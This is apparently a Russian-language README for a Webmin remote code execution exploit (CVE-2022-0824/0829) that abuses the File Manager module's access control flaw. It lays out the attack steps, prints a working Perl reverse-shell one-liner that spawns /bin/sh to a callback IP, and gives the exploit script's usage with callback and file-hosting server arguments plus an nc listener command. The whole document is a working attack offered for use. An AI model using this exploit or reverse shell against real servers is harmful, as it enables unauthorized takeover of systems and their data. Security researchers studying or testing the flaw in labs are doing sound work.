WebminRCE-exploit

CVE-2022-0824, CVE-2022-0829 - эксплуатация привилегий File Manger

Уязвимое приложение для тестирования этого PoC можно найти здесь в виде docker образа.
Предварительные требования:

• Python3
• Модуль Requests

Описание

Уязвимость

Неправильный контроль доступа, приводящий к удалённому выполнению кода Безопасные пользователи (непривилегированные) могут получить доступ к модулю File Manager, который по умолчанию должен быть ограничен.

Эксплойт-пейлоад

Используйте уязвимость неправильного контроля доступа, чтобы загрузить cgi-файл на сервер webmin.

Этап 1 (Аутентификация)

Выполните аутентификацию и войдите на сервер как безопасный/непривилегированный пользователь.

Этап 2 (Загрузка файла на сервер)

Используйте уязвимый модуль File Manager (/file-manager/http_download.cgi) для загрузки perl-скрипта на сервер.
Perl-скрипт для получения обратного шелла:

perl -e 'use Socket;$i="0.0.0.0";$p=1111;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Этап 3 (Изменение прав)

Добавьте разрешение на выполнение файлу (/file-manager/chmod.cgi)

Этап 4 (Выполнение команды)

Просто вызовите загруженный файл, чтобы выполнить скрипт обратного шелла, находящийся внутри.

Инструкция по использованию:

  $ python3 cve-2022-0824.py --help
  
  usage: cve-2022-0824.py [-h] --host HOST --user USER --password PASSWORD
                        --Python_server PYTHON_SERVER --callback_url
                        CALLBACK_URL [--proxy PROXY]

optional arguments:
  -h, --help            show this help message and exit
  --host HOST           Host url(complete)
  --user USER           Username
  --password PASSWORD   Password
  --Python_server PYTHON_SERVER
                        Python httpServer with port
  --callback_url CALLBACK_URL
                        Callback ip and port
  --proxy PROXY         Proxy details

Пример использования:

$ python3 cve-2022-0824.py --host [Target_url] --user [Username] --password[Password] --Python_server [Filehosting Server Information] ----callback_url [<ip>:<port> for reverse shell connections] --proxy [Proxy server details - optional]

$ python3 cve-2022-0824.py --host http://localhost:10000 --user usr --password usr --Python_server 192.168.43.228:9999 --callback_url 192.168.43.228:1234 --proxy http://127.0.0.1:8080

Имя пользователя и пароль предназначены для безопасных (непривилегированных) пользователей. Настройте слушатель перед запуском скрипта, чтобы получить соединение обратного шелла.

$ nc -lvp <port>

Благодарность @faisalfs10x за эксплойт.